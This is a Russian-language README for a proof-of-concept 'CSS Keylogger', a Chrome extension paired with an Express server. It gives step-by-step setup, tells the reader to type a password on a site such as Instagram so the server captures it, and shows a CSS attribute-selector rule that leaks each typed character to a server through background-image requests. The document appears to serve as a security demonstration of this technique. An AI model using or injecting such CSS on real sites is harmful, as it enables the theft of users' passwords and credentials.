CSS Keylogger

Chrome-расширение и Express-сервер, использующие возможности CSS для кейлоггинга.

Использование

Настройка Chrome-расширения

1. Скачайте репозиторий: git clone https://github.com/maxchehab/CSS-Keylogging
2. В браузере перейдите на chrome://extensions (или откройте меню Chrome, нажав на иконку с тремя горизонтальными полосами справа от адресной строки, и выберите «Расширения» в меню «Дополнительные инструменты»).
3. Убедитесь, что в правом верхнем углу включен флажок «Режим разработчика».
4. Нажмите «Загрузить распакованное расширение…», чтобы открыть диалог выбора файлов.
5. Выберите папку css-keylogger-extension в директории, куда вы скачали репозиторий.

Настройка Express-сервера

1. yarn
2. yarn start

Взлом l33t-паролей

1. Откройте сайт, использующий управляемые компоненты (например, React). Например, https://instagram.com.
2. Нажмите на иконку расширения «C» в правом верхнем углу любой веб-страницы.
3. Введите свой пароль.
4. Ваш пароль будет перехвачен Express-сервером.

Как это работает

Атака очень проста. Используя CSS-селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки background-image.

Например, следующий CSS выберет все поля ввода с type равным password и value, оканчивающимся на a. Затем он попытается загрузить изображение с http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

С помощью простого скрипта можно создать CSS-файл, который будет отправлять собственный запрос для каждого символа ASCII.